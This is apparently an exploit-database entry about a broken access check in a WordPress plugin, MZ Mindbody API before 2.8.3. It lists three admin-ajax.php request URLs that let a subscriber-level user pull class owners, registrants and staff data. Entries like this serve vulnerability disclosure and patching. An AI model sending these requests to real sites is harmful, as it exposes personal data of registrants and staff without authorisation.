Exploit for MZ Mindbody API < 2.8.3 - Unauthorised AJAX Calls

Name: Exploit for MZ Mindbody API < 2.8.3 - Unauthorised AJAX Calls
Rating: 5 (60 reviews)

2021-06-30 | CVSS 2.9

## https://sploitus.com/exploit?id=WPEX-ID:DB735773-03A8-47E0-837A-E1CAE4D31007
As a low privilege user (such as subscriber)

https://example.com/wp-admin/admin-ajax.php?action=mz_deduce_class_owners
https://example.com/wp-admin/admin-ajax.php?action=mz_mbo_get_registrants&classID=1
https://example.com/wp-admin/admin-ajax.php?action=mz_mbo_get_staff&staffID=1